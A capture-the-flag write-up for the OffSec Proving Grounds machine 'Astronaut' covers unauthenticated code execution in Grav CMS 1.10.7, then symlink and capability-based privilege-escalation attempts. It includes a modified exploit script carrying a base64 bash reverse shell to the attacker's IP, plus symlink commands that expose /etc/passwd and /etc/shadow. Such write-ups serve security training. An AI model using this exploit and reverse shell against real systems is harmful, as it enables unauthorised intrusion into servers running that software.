OffSec Proving Grounds Astronaut Writeup
Linux target. An unauthenticated YAML write in Grav CMS 1.10.7 gives a shell as www-data, and the intended root is a SUID php binary straight out of GTFOBins.
Summary
Astronaut runs Grav CMS 1.10.7, whose unauthenticated arbitrary YAML write exploit is already in exploit-db. Adapting that proof of concept to carry a base64 encoded bash reverse shell returns a session as www-data. The intended escalation from there is the SUID bit on the php binary and the standard GTFOBins one liner, but on this run the SUID bit was never set, so that path stayed closed. The rest of the note records what enumeration turned up instead: the Apache vhost follows symlinks, so a symlink dropped in the Grav web root serves any readable file over HTTP, and the worker processes carry CAP_SETUID, CAP_SETGID and CAP_DAC_READ_SEARCH. Neither the symlink to /etc/shadow nor a PHP script calling setuid actually elevated, and the note leaves that behaviour unexplained.
Initial Access: GravCMS Arbitrary YAML Write/Update to RCE
I look for exploits related to Grav CMS.
1
searchsploit grav cms
This yields a plethora of results:
1
2
3
4
5
6
7
8
9
10
11
--------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------- ---------------------------------
Grav CMS 1.4.2 Admin Plugin - Cross-Site Scripting | php/webapps/42131.txt
Grav CMS 1.6.30 Admin Plugin 1.9.18 - 'Page Title' | php/webapps/49264.txt
Grav CMS 1.7.10 - Server-Side Template Injection ( | php/webapps/49961.py
Grav CMS 1.7.48 - Remote Code Execution (RCE) | php/webapps/52402.txt
GravCMS 1.10.7 - Arbitrary YAML Write/Update (Unau | php/webapps/49973.py
GravCMS 1.10.7 - Unauthenticated Arbitrary File Wr | php/webapps/49788.rb
gravy media CMS 1.07 - Multiple Vulnerabilities | php/webapps/8315.txt
--------------------------------------------------- ---------------------------------
The most recent version of the application that’s featured in the exploit list is 1.10.7. I use the related exploit:
1
searchsploit -m php/webapps/49973.py
I modify the exploit to fit my current needs:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# Exploit Title: GravCMS 1.10.7 - Arbitrary YAML Write/Update (Unauthenticated) (2)
# Original Exploit Author: Mehmet Ince
# Vendor Homepage: https://getgrav.org
# Version: 1.10.7
# Tested on: Debian 10
# Author: legend
#/usr/bin/python3
import requests
import sys
import re
import base64
target= "http://192.168.123.12/grav-admin"
#Change base64 encoded value with with below command.
#echo -ne "bash -i >& /dev/tcp/192.168.1.3/4444 0>&1" | base64 -w0
payload=b"""/*<?php /**/
file_put_contents('/tmp/rev.sh',base64_decode('YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjIwNi80NDQ0IDA+JjE='));chmod('/tmp/rev.sh',0755);system('bash /tmp/rev.sh');
"""
s = requests.Session()
r = s.get(target+"/admin")
adminNonce = re.search(r'admin-nonce" value="(.*)"',r.text).group(1)
if adminNonce != "" :
url = target + "/admin/tools/scheduler"
data = "admin-nonce="+adminNonce
data +='&task=SaveDefault&data%5bcustom_jobs%5d%5bncefs%5d%5bcommand%5d=/usr/bin/php&data%5bcustom_jobs%5d%5bncefs%5d%5bargs%5d=-r%20eval%28base64_decode%28%22'+base64.b64encode(payload).decode('utf-8')+'%22%29%29%3b&data%5bcustom_jobs%5d%5bncefs%5d%5bat%5d=%2a%20%2a%20%2a%20%2a%20%2a&data%5bcustom_jobs%5d%5bncefs%5d%5boutput%5d=&data%5bstatus%5d%5bncefs%5d=enabled&data%5bcustom_jobs%5d%5bncefs%5d%5boutput_mode%5d=append'
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
r = s.post(target+"/admin/config/scheduler",data=data,headers=headers)
else:
print('error')
To generate the proper base64 encoded shell, I do:
1
echo -ne 'bash -i >& /dev/tcp/192.168.45.206/4444 0>&1' | base64 -w 0
This will output the proper base64 encoded string to be placed in the code:
1
base64_decode('YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjIwNi80NDQ0IDA+JjE=')
Vertical Privilege Escalation
Intended privesc is just abusing a php binary that has a SUID bit set. Exploitation steps can be found in GTFOBins. However, when tackling this machine, due to a unknown bug, this binary was never set with SUID, impeding me from escalating.
I did, however, whilst enumerating, find some interesting things worth looking at.
First of all, in the apache server configuration (/etc/apache2/sites-enabled/000-default.conf), I see it allows for symlink following:
1
2
3
4
5
6
7
8
9
10
<VirtualHost *:80>
ServerAdmin webmaster@localhost
<Directory /var/www/html/grav-admin/>
Options +FollowSymlinks
AllowOverride All
Require all granted
</Directory>
ErrorLog /error.log
CustomLog /access.log combined
</VirtualHost>
With my shell as www-data, I could create a symlink to any file in the system in /var/www/html/grav-admin:
1
ln -s /etc/passwd passwd
And access it at
1
view-source:http://192.168.123.12/grav-admin/passwd
What’s even more interesting is that, when reviewing capabilities, I saw this:
1
2
3
4
5
6
7
8
9
10
11
12
13
root 28662 0.0 1.1 236540 22560 ? Ss 13:30 0:00 /usr/sbin/apache2 -k start
www-data 28664 0.0 0.4 236948 8308 ? S 13:30 0:00 _ /usr/sbin/apache2 -k start
└─(Caps) 0x00000000008000c4=cap_dac_read_search,cap_setgid,cap_setuid,cap_sys_nice
www-data 28665 0.0 0.4 236948 8288 ? S 13:30 0:00 _ /usr/sbin/apache2 -k start
└─(Caps) 0x00000000008000c4=cap_dac_read_search,cap_setgid,cap_setuid,cap_sys_nice
www-data 28666 0.0 0.4 236948 8288 ? S 13:30 0:00 _ /usr/sbin/apache2 -k start
└─(Caps) 0x00000000008000c4=cap_dac_read_search,cap_setgid,cap_setuid,cap_sys_nice
www-data 28667 0.0 0.4 236948 8288 ? S 13:30 0:00 _ /usr/sbin/apache2 -k start
└─(Caps) 0x00000000008000c4=cap_dac_read_search,cap_setgid,cap_setuid,cap_sys_nice
www-data 28668 0.0 0.4 236948 8288 ? S 13:30 0:00 _ /usr/sbin/apache2 -k start
└─(Caps) 0x00000000008000c4=cap_dac_read_search,cap_setgid,cap_setuid,cap_sys_nice
www-data 30443 0.0 0.4 236948 8372 ? S 13:30 0:00 _ /usr/sbin/apache2 -k start
└─(Caps) 0x00000000008000c4=cap_dac_read_search,cap_setgid,cap_setuid,cap_sys_nice
What I understand from this is that:
CAP_SETUID / CAP_SETGID - These allow the processes to change to ANY user/group ID, including root.
CAP_DAC_READ_SEARCH - This bypasses file read permission checks, allowing the web server to read files it shouldn’t have access to (like
/etc/shadow, SSH keys, etc.).
Worker processes should run with no special capabilities, but since it has CAP_DAC_READ_SEARCH, I assumed I would be able to chain this capability with the fact that the server allows for symlink, to create a symlink to a restricted file like /etc/shadow:
1
ln -s /etc/shadow shadow
And access it normally via my web browser at http://192.168.123.12/grav-admin/shadow but it didn’t work. THe server returns 403 forbidden.
For **CAP_SETUID / CAP_SETGID, **this is how a php script that tries elevating the execution context to root would look like:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
// Attempt to change effective user/group ID to root
// This requires the script to already have appropriate permissions
// Check current UID
echo "Current UID: " . posix_getuid() . "\n";
echo "Current GID: " . posix_getgid() . "\n";
// Attempt to set GID to 0 (root group)
if (posix_setgid(0)) {
echo "Successfully set GID to 0\n";
} else {
echo "Failed to set GID to 0\n";
}
// Attempt to set UID to 0 (root)
if (posix_setuid(0)) {
echo "Successfully set UID to 0\n";
} else {
echo "Failed to set UID to 0\n";
}
// Verify new UID/GID
echo "New UID: " . posix_getuid() . "\n";
echo "New GID: " . posix_getgid() . "\n";
// Example: Execute a command as root
system('whoami');
?>
I tried this but when accessing it, the output was:
1
2
3
4
5
6
7
Current UID: 33
Current GID: 33
Failed to set GID to 0
Failed to set UID to 0
New UID: 33
New GID: 33
www-data
So idk how the capabilities are working here.